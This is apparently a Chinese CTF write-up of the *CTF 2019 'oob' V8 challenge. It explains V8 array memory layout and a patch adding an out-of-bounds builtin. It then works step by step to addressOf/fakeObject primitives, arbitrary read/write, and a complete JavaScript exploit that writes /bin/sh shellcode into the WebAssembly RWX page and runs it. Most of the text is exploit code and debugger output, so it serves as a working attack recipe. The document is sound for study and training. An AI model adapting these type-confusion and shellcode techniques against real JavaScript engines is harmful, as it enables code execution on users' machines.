0%

v8漏洞练习笔记_starctf2019 oob

v8漏洞练习笔记_starctf2019 oob

v8内存结构

v8变量内存结构,新版v8使用了指针压缩,基址存于R13寄存器,指针通过32为存储,最后一位表示tag,为1时会与R13中的基址进行运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
DebugPrint: 0x101f080c5e09: [JSArray]

- map: 0x101f08281891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]

- prototype: 0x101f08248f7d <JSArray[0]>

- elements: 0x101f080c5de1 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]

- length: 4

- properties: 0x101f080406e9 <FixedArray[0]> {

#length: 0x101f081c0165 <AccessorInfo> (const accessor descriptor)

}

- elements: 0x101f080c5de1 <FixedDoubleArray[4]> {

0: 2.1

1: 3.2

2: 0.1

3: 1

}

其中elements是实际存储数据的对象元素,所以实际上是v8对变量做了2层封装,data->elements->JSArrayObject,通过map结构存储.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> x/10gx 0x101f080c5e08

0x101f080c5e08: 0x080406e908281891 0x00000008080c5de1

0x101f080c5e18: 0x080406e908284e79 0x00000002080406e9

0x101f080c5e28: 0x00010001080401c5 0x0804116d00000000

0x101f080c5e38: 0x000000880808a5e5 0x080404b100000002

0x101f080c5e48: 0x080c5e1900000002 0x080406e9082818e1



pwndbg> job 0x101f080c5de1

0x101f080c5de1: [FixedDoubleArray]

- map: 0x101f08040a3d <Map>

- length: 4

​ 0: 2.1

​ 1: 3.2

​ 2: 0.1

​ 3: 1



elements:

map,length,value

pwndbg> x/8x 0x101f080c5de0

0x101f080c5de0: 0x0000000808040a3d 0x4000cccccccccccd

0x101f080c5df0: 0x400999999999999a 0x3fb999999999999a

0x101f080c5e00: 0x3ff0000000000000 0x080406e908281891

0x101f080c5e10: 0x00000008080c5de1 0x080406e908284e79

两个结构的length均做了*2处理.

其中描述了这个变量的属性信息,包括类型,长度,element等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
0x101f08281891: [Map]

- type: JS_ARRAY_TYPE

- instance size: 16

- inobject properties: 0

- elements kind: PACKED_DOUBLE_ELEMENTS

- unused property fields: 0

- enum length: invalid

- back pointer: 0x101f08281869 <Map(HOLEY_SMI_ELEMENTS)>

- prototype_validity cell: 0x101f081c0451 <Cell value= 1>

- instance descriptors #1: 0x101f08249605 <DescriptorArray[1]>

- transitions #1: 0x101f08249651 <TransitionArray[4]>Transition array #1:

0x101f08042eb9 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x101f082818b9 <Map(HOLEY_DOUBLE_ELEMENTS)>


- prototype: 0x101f08248f7d <JSArray[0]>

- constructor: 0x101f08248e51 <JSFunction Array (sfi = 0x101f081cbf85)>

- dependent code: 0x101f080401ed <Other heap object (WEAK_FIXED_ARRAY_TYPE)>

- construction counter: 0

实际内存结构 { map:32bit properties:32bit elements } elements结构 { map, } 变量在内存中的结构是一致的,并且大小为64bit,指针类型变量被压缩,占32bit.

starctf 2019 oob

diff片段,增加了一个oob函数,函数逻辑为当参数为1,也就是不传参,只有一个this参数时,会读取数组length索引的值,不为1,则会将传参数据写入length索引处,两种方式都会造成数组访问越界.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

​ Builtins::kArrayPrototypeCopyWithin, 2, false);

SimpleInstallFunction(isolate_, proto, "fill",

​ Builtins::kArrayPrototypeFill, 1, false);

+ SimpleInstallFunction(isolate_, proto, "oob",

+ Builtins::kArrayOob,2,false);

SimpleInstallFunction(isolate_, proto, "find",

​ Builtins::kArrayPrototypeFind, 1, false);

SimpleInstallFunction(isolate_, proto, "findIndex",

diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc

index 8df340e..9b828ab 100644

--- a/src/builtins/builtins-array.cc

+++ b/src/builtins/builtins-array.cc

@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,

return *final_length;

}

} // namespace

+BUILTIN(ArrayOob){

+ uint32_t len = args.length();

+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();

+ Handle<JSReceiver> receiver;

+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(

+ isolate, receiver, Object::ToObject(isolate, args.receiver()));

+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);

+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());

+ uint32_t length = static_cast<uint32_t>(array->length()->Number());

+ if(len == 1){

+ //read

+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));

+ }else{

+ //write

+ Handle<Object> value;

+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(

+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));

+ elements.set(length,value->Number());

+ return ReadOnlyRoots(isolate).undefined_value();

+ }

+}

构造这样一个JS文件,对oob进行测试.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
var f64 = new Float64Array(1);

var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)

{

f64[0] = f;

return bigUint64[0];

}

function hex(i)

{

return i.toString(16).padStart(8, "0");

}

var a = [1,2,1.1];

%DebugPrint(a);

%SystemBreak();

var data = a.oob();

console.log("data:0x"+hex(ftoi(data)));

%SystemBreak();

a.oob(2);

%SystemBreak();

通过越界访问读取到的数据,刚好是a的map.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> job 0x062a0214e041

0x62a0214e041: [JSArray]

- map: 0x3629c0182ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]

- prototype: 0x20262e251111 <JSArray[0]>

- elements: 0x062a0214e019 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]

- length: 3

- properties: 0x2b2ef8980c71 <FixedArray[0]> {

#length: 0x3a4d7cec01a9 <AccessorInfo> (const accessor descriptor)

}

- elements: 0x062a0214e019 <FixedDoubleArray[3]> {

​ 0: 1

​ 1: 2

​ 2: 1.1

}

pwndbg> c

Continuing.

data:0x3629c0182ed9

在a.oob(2)执行后,a对象的map字段被修改为2的浮点数表示.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/8gx 0x062a0214e040

0x62a0214e040: 0x00003629c0182ed9 0x00002b2ef8980c71

0x62a0214e050: 0x0000062a0214e019 0x0000000300000000

0x62a0214e060: 0x00002b2ef8980561 0x00003629c0182ed9

0x62a0214e070: 0x00002b2ef89812c9 0x0000000100000000



pwndbg> x/8gx 0x062a0214e040

0x62a0214e040: 0x4000000000000000 0x00002b2ef8980c71

0x62a0214e050: 0x0000062a0214e019 0x0000000300000000

0x62a0214e060: 0x00002b2ef8980561 0x00003629c0182ed9

0x62a0214e070: 0x00002b2ef89812c9 0x0000000100000000

现在可以通过oob函数对变量的map字段进行任意读取写入,然后对变量的类型进行随意的更改. 可以混淆对象数组和浮点数组的类型,用于读取对象内存地址或者将一个浮点数伪造成一个js对象.因为v8依赖map字段判断变量类型. 实现任意对象内存地址读取,与fake js对象的函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//leak obj memory address

function addressOf(obj){

obj_arr[0]=obj;

obj_arr.oob(flo_arr_map);

let obj_addr=obj_arr[0];

//recover

obj_arr.oob(obj_arr_map);

return obj_addr;

}

//fake obj by addr

function fakeObject(addr){

flo_arr[0]=i2f(addr+1);

flo_arr.oob(obj_arr_map);

let fake_obj=flo_arr[0];

//recover

flo_arr.oob(flo_arr_map);

return fake_obj;

}

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
var f64 = new Float64Array(1);

var bigUint64 = new BigUint64Array(f64.buffer);

var obj = {"a": 1};

var obj_arr = [obj];

var flo_arr = [1.1];

obj_arr_map=obj_arr.oob();

flo_arr_map=flo_arr.oob();

console.log("obj_arr_map:0x"+hex(f2i(obj_arr_map)));

console.log("flo_arr_map:0x"+hex(f2i(flo_arr_map)));

console.log("====================================")

function f2i(f)

{

f64[0] = f;

return bigUint64[0];

}

function i2f(i)

{

bigUint64[0] = i;

return f64[0];

}



function hex(i)

{

return i.toString(16).padStart(8, "0");

}

//leak obj memory address

function addressOf(obj){

obj_arr[0]=obj;

obj_arr.oob(flo_arr_map);

let obj_addr=hex(f2i(obj_arr[0]));

//recover

obj_arr.oob(obj_arr_map);

return obj_addr;

}

//fake obj by addr

function fakeObject(addr){

flo_arr[0]=i2f(addr+1);

flo_arr.oob(obj_arr_map);

let fake_obj=flo_arr[0];

//recover

flo_arr.oob(flo_arr_map);

return fake_obj;

}





var test_obj={};

%DebugPrint(test_obj);

var test_obj_addr=addressOf(test_obj);

console.log("leak obj addr:0x"+test_obj_addr);

成功泄露 testobj地址

1
2
3
4
5
6
7
8
9
10
11
➜ v8 git:(6dc88c191f) ✗ ./out/x64_startctf.release/d8 --allow-natives-syntax ./test.js

obj_arr_map:0x3fa5718c2f79

flo_arr_map:0x3fa5718c2ed9

====================================

0x0f696c58edc9 <Object map = 0x3fa5718c0459>

leak obj addr:0xf696c58edc9
实现任意地址读写

实现任意地址读写可以通过fake一个对象,这个对象的任何属性我们都是可控的,然后将elements字段修改为我们要读取或修改的内存地址,就可以实现任意地址读写. 但是有几个问题需要解决,需要查找elements的内存地址,可以通过elements字段与map字段的偏移计算. 可以看出,elements字段为0x2b131b9cec19,位于map字段的低地址处,与存储map字段的地址:0x2b131b9cec48,偏移为0x10.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
pwndbg> job 0x2b131b9cec49

0x2b131b9cec49: [JSArray]

\- map: 0x14e6ac9c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]

\- prototype: 0x3727cfcd1111 <JSArray[0]>

\- elements: 0x2b131b9cec19 <FixedDoubleArray[4]> [PACKED_DOUBLE_ELEMENTS]

\- length: 4

\- properties: 0x00a2a3840c71 <FixedArray[0]> {

\#length: 0x373c6a3001a9 <AccessorInfo> (const accessor descriptor)

}

\- elements: 0x2b131b9cec19 <FixedDoubleArray[4]> {

​ 0: 1

​ 1: 2

​ 2: 3

​ 3: 1.1

}

pwndbg> telescope 0x2b131b9cec48

00:0000│ 0x2b131b9cec48 —▸ 0x14e6ac9c2ed9 ◂— 0x4000000a2a38401

01:0008│ 0x2b131b9cec50 —▸ 0xa2a3840c71 ◂— 0xa2a38408

02:0010│ 0x2b131b9cec58 —▸ 0x2b131b9cec19 ◂— 0xa2a38414

03:0018│ 0x2b131b9cec60 ◂— 0x400000000

04:0020│ 0x2b131b9cec68 ◂— 0x0

... ↓ 3 skipped



pwndbg> telescope 0x2b131b9cec18

00:0000│ 0x2b131b9cec18 —▸ 0xa2a38414f9 ◂— 0xa2a38401

01:0008│ 0x2b131b9cec20 ◂— 0x400000000

02:0010│ 0x2b131b9cec28 ◂— 0x3ff0000000000000

03:0018│ 0x2b131b9cec30 ◂— 0x4000000000000000

04:0020│ 0x2b131b9cec38 ◂— 0x4008000000000000

05:0028│ 0x2b131b9cec40 ◂— 0x3ff199999999999a

06:0030│ 0x2b131b9cec48 —▸ 0x14e6ac9c2ed9 ◂— 0x4000000a2a38401

07:0038│ 0x2b131b9cec50 —▸ 0xa2a3840c71 ◂— 0xa2a38408

知道了变量的内存结构,下面开始手动构造一个arr,通过addressof获取这个变量elements元素值的地址,并将其fake为一个对象.然后通过fake_arr修改fake对象的elements字段,并通过fake对象读取或写入,可以实现任意地址的读写操作.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
//leak obj memory address

function addressOf(obj){

obj_arr[0]=obj;

obj_arr.oob(flo_arr_map);

let obj_addr=obj_arr[0];

//recover

obj_arr.oob(obj_arr_map);

return f2i(obj_addr);

}

//fake obj by addr

function fakeObject(addr){

flo_arr[0]=i2f(addr);

flo_arr.oob(obj_arr_map);

let fake_obj=flo_arr[0];

//recover

flo_arr.oob(flo_arr_map);

return fake_obj;

}



function read64(addr){

fake_arr[2]=i2f(addr-0x10n+0x1n);

console.log("elements:0x"+hex(f2i(fake_arr[2])));

let ret_data=f2i(fake_obj[0]);

//%SystemBreak();

console.log("read addr:0x:"+hex(addr)+" val:0x"+hex(ret_data));

return ret_data;

}



function write64(addr,data){

fake_arr[2]=i2f(addr-0x10n+0x1n);

console.log("elements:0x"+hex(f2i(fake_arr[2])));

//%SystemBreak();

fake_obj[0]=i2f(data);

console.log("write addr:0x"+hex(addr)+" val:0x"+hex(data));

}



fake_arr=[

flo_arr_map,

i2f(0n),

i2f(0x41414141n),

i2f(0x1000000000n),

1.1,

2.2

];

fake_addr=addressOf(fake_arr);

//get elements:value & fake obj

var fake_obj_addr=fake_addr-0x30n;

fake_obj=fakeObject(fake_obj_addr);
通过wasm执行shellcode

wasm可以将js生成为机器码执行,运行时会开辟一段具有rwxp属性的内存空间用于执行wasm code,但是本身无法调用一些系统库,因为做了限制,调用一些系统库会报错,但是我们可以找到这个内存空间,将自己的shellcode写入其中,覆盖wasm code,然后调用wasm执行. wasm demo,可以将c 转换为wasm code的网站:https://wasdk.github.io/WasmFiddle/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int main() { 

return 42;

}

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);

var wasmInstance = new WebAssembly.Instance(wasmModule, {});

var f = wasmInstance.exports.main;

var f_addr = addressOf(f);

%DebugPrint(f);

console.log(hex(f_addr));

%SystemBreak();

0x07a6bbc611f9 <JSFunction 0 (sfi = 0x7a6bbc611c1)>

wasm func addr: 0x7a6bbc611f9

使用vmmap命令可以看到这个内存空间

1
0x2b7465e6a000   0x2b7465e6b000 rwxp   1000 0   [anon_2b7465e6a]

这片内存空间肯定是跟我们输出的函数地址是有关联的,因为wasm会在这片空间中执行.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
pwndbg> job 0x07a6bbc611f9

0x7a6bbc611f9: [Function] in OldSpace

- map: 0x123928784379 <Map(HOLEY_ELEMENTS)> [FastProperties]

- prototype: 0x07a6bbc42109 <JSFunction (sfi = 0x2e1f8d0c3b29)>

- elements: 0x39e2f2600c71 <FixedArray[0]> [HOLEY_ELEMENTS]

- function prototype: <no-prototype-slot>

- shared_info: 0x07a6bbc611c1 <SharedFunctionInfo 0>

- name: 0x39e2f2604ae1 <String[#1]: 0>

- formal_parameter_count: 0

- kind: NormalFunction

- context: 0x07a6bbc41869 <NativeContext[246]>

- code: 0x0f3b636c2001 <Code JS_TO_WASM_FUNCTION>

- WASM instance 0x7a6bbc61001

- WASM function index 0

- properties: 0x39e2f2600c71 <FixedArray[0]> {

#length: 0x2e1f8d0c04b9 <AccessorInfo> (const accessor descriptor)

#name: 0x2e1f8d0c0449 <AccessorInfo> (const accessor descriptor)

#arguments: 0x2e1f8d0c0369 <AccessorInfo> (const accessor descriptor)

#caller: 0x2e1f8d0c03d9 <AccessorInfo> (const accessor descriptor)

}



\- feedback vector: not available

通过fun_addr->share_info->data->instance+0x88这个结构,最终找到的这块内存的起始地址, 或者通过wasmInstance+0x88也可以.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
pwndbg> job 0x07a6bbc611c1

0x7a6bbc611c1: [SharedFunctionInfo] in OldSpace

- map: 0x39e2f26009e1 <Map[56]>

- name: 0x39e2f2604ae1 <String[#1]: 0>

- kind: NormalFunction

- function_map_index: 144

- formal_parameter_count: 0

- expected_nof_properties: 0

- language_mode: sloppy

- data: 0x07a6bbc61199 <WasmExportedFunctionData>

- code (from data): 0x0f3b636c2001 <Code JS_TO_WASM_FUNCTION>

- function token position: -1

- start position: -1

- end position: -1

- no debug info

- scope info: 0x39e2f2600c61 <ScopeInfo[0]>

- length: 0

- feedback_metadata: 0x39e2f2602a39: [FeedbackMetadata]

- map: 0x39e2f2601319 <Map>

- slot_count: 0

pwndbg> job 0x07a6bbc61199

0x7a6bbc61199: [WasmExportedFunctionData] in OldSpace

- map: 0x39e2f2605879 <Map[40]>

- wrapper_code: 0x0f3b636c2001 <Code JS_TO_WASM_FUNCTION>

- instance: 0x07a6bbc61001 <Instance map = 0x123928789789>

- function_index: 0

pwndbg> x/20gx 0x07a6bbc61000

0x7a6bbc61000: 0x0000123928789789 0x000039e2f2600c71

0x7a6bbc61010: 0x000039e2f2600c71 0x00007f82cc930000

0x7a6bbc61020: 0x0000000000010000 0x000000000000ffff

0x7a6bbc61030: 0x0000562dc02eb698 0x000039e2f2600c71

0x7a6bbc61040: 0x0000562dc036f190 0x000039e2f26004d1

0x7a6bbc61050: 0x0000000000000000 0x0000000000000000

0x7a6bbc61060: 0x0000000000000000 0x0000000000000000

0x7a6bbc61070: 0x0000562dc0371740 0x000039e2f26004d1

0x7a6bbc61080: 0x0000562dc02e19d0 0x00002b7465e6a000 起始地址

0x7a6bbc61090: 0x00003c59d768f699 0x00003c59d768f909

编写泄露这块内存页的代码

1
2
3
4
5
var instance_addr = addressOf(wasmInstance);

console.log("f_addr:0x"+hex(instance_addr));

var rwx_addr=read64(instance_addr+0x88n-0x1n);

通过ArrayBuffer和DataView可以很方便的处理shellcode,将ArrayBuffer中存储数据的backing_store修改为rwx的内存页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
pwndbg> job 0x3d5eba7d0121

0x3d5eba7d0121: [JSArrayBuffer]

- map: 0x2f9288cc21b9 <Map(HOLEY_ELEMENTS)> [FastProperties]

- prototype: 0x22669038e981 <Object map = 0x2f9288cc2209>

- elements: 0x0b9b83c00c71 <FixedArray[0]> [HOLEY_ELEMENTS]

- embedder fields: 2

- backing_store: 0x563b32f3fda0

- byte_length: 256

- detachable

- properties: 0x0b9b83c00c71 <FixedArray[0]> {}

- embedder fields = {

0, aligned pointer: (nil)

0, aligned pointer: (nil)

}

pwndbg> x/20gx 0x563b32f3fda0

0x563b32f3fda0: 0xcdcccccccccc0040 0x9a99999999990140

0x563b32f3fdb0: 0x9a99999999990140 0x0000000000000000

0x563b32f3fdc0: 0x0000000000000000 0x0000000000000000

0x563b32f3fdd0: 0x0000000000000000 0x0000000000000000

0x563b32f3fde0: 0x0000000000000000 0x0000000000000000

0x563b32f3fdf0: 0x0000000000000000 0x0000000000000000

0x563b32f3fe00: 0x0000000000000000 0x0000000000000000

0x563b32f3fe10: 0x0000000000000000 0x0000000000000000

0x563b32f3fe20: 0x0000000000000000 0x0000000000000000

0x563b32f3fe30: 0x0000000000000000 0x0000000000000000

pwndbg> telescope 0x3d5eba7d0120

00:0000│ 0x3d5eba7d0120 —▸ 0x2f9288cc21b9 ◂— 0x800000b9b83c001

01:0008│ 0x3d5eba7d0128 —▸ 0xb9b83c00c71 ◂— 0xb9b83c008

02:0010│ 0x3d5eba7d0130 —▸ 0xb9b83c00c71 ◂— 0xb9b83c008

03:0018│ 0x3d5eba7d0138 ◂— 0x100

04:0020│ 0x3d5eba7d0140 —▸ 0x563b32f3fda0 ◂— 0xcdcccccccccc0040 /* '@' */

05:0028│ 0x3d5eba7d0148 ◂— 0x2

06:0030│ 0x3d5eba7d0150 ◂— 0x0

07:0038│ 0x3d5eba7d0158 ◂— 0x0
完整exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
var f64 = new Float64Array(1);

var bigUint64 = new BigUint64Array(f64.buffer);

var obj = {"a": 1};

var obj_arr = [obj];

var flo_arr = [1,2,3,1.1];

var fake_arr=0;

var fake_obj={};

obj_arr_map=obj_arr.oob();

flo_arr_map=flo_arr.oob();

function f2i(f)

{

f64[0] = f;

return bigUint64[0];

}

function i2f(i)

{

bigUint64[0] = i;

return f64[0];

}



function hex(i)

{

return i.toString(16).padStart(8, "0");

}

//leak obj memory address

function addressOf(obj){

obj_arr[0]=obj;

obj_arr.oob(flo_arr_map);

let obj_addr=obj_arr[0];

//recover

obj_arr.oob(obj_arr_map);

return f2i(obj_addr);

}

//fake obj by addr

function fakeObject(addr){

flo_arr[0]=i2f(addr);

flo_arr.oob(obj_arr_map);

let fake_obj=flo_arr[0];

//recover

flo_arr.oob(flo_arr_map);

return fake_obj;

}



function read64(addr){

fake_arr[2]=i2f(addr-0x10n+0x1n);

console.log("elements:0x"+hex(f2i(fake_arr[2])));

let ret_data=f2i(fake_obj[0]);

//%SystemBreak();

console.log("read addr:0x:"+hex(addr)+" val:0x"+hex(ret_data));

return ret_data;

}



function write64(addr,data){

fake_arr[2]=i2f(addr-0x10n+0x1n);

console.log("elements:0x"+hex(f2i(fake_arr[2])));

//%SystemBreak();

fake_obj[0]=i2f(data);

console.log("write addr:0x"+hex(addr)+" val:0x"+hex(data));

}



fake_arr=[

flo_arr_map,

i2f(0n),

i2f(0x41414141n),

i2f(0x1000000000n),

1.1,

2.2

];

fake_addr=addressOf(fake_arr);

//get elements:value & fake obj

var fake_obj_addr=fake_addr-0x30n;

fake_obj=fakeObject(fake_obj_addr);

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);

var wasmInstance = new WebAssembly.Instance(wasmModule, {});

var fun = wasmInstance.exports.main;

//%DebugPrint(wasmInstance);

var instance_addr = addressOf(wasmInstance);

console.log("f_addr:0x"+hex(instance_addr));

var rwx_addr=read64(instance_addr+0x88n-0x1n);

var shellcode = [

0x2fbb485299583b6an,

0x5368732f6e69622fn,

0x050f5e5457525f54n

];

var data_buf=new ArrayBuffer(0x100);

var data_view = new DataView(data_buf);

//set ArrayBuffer backing_store

var backing_store_addr= addressOf(data_buf)+0x20n;

write64(backing_store_addr-0x1n,rwx_addr);

//write shellcode

for(var i=0;i<shellcode.length;i++){

data_view.setBigUint64(i*8,shellcode[i],true);

}

fun();

v8 git:(6dc88c191f) ✗ ./out/x64_startctf.release/d8 --allow-natives-syntax ./test.js

f_addr:0x14a0c25a1e69

elements:0x14a0c25a1ee1

read addr:0x:14a0c25a1ef0 val:0x326e60143000

elements:0x725e5110161

write addr:0x725e5110170 val:0x326e60143000
1
2
3
4
5
6
7
$ df -h

Filesystem Size Used Avail Use% Mounted on

udev 3.9G 0 3.9G 0% /dev

tmpfs 793M 2.0M 791M 1% /run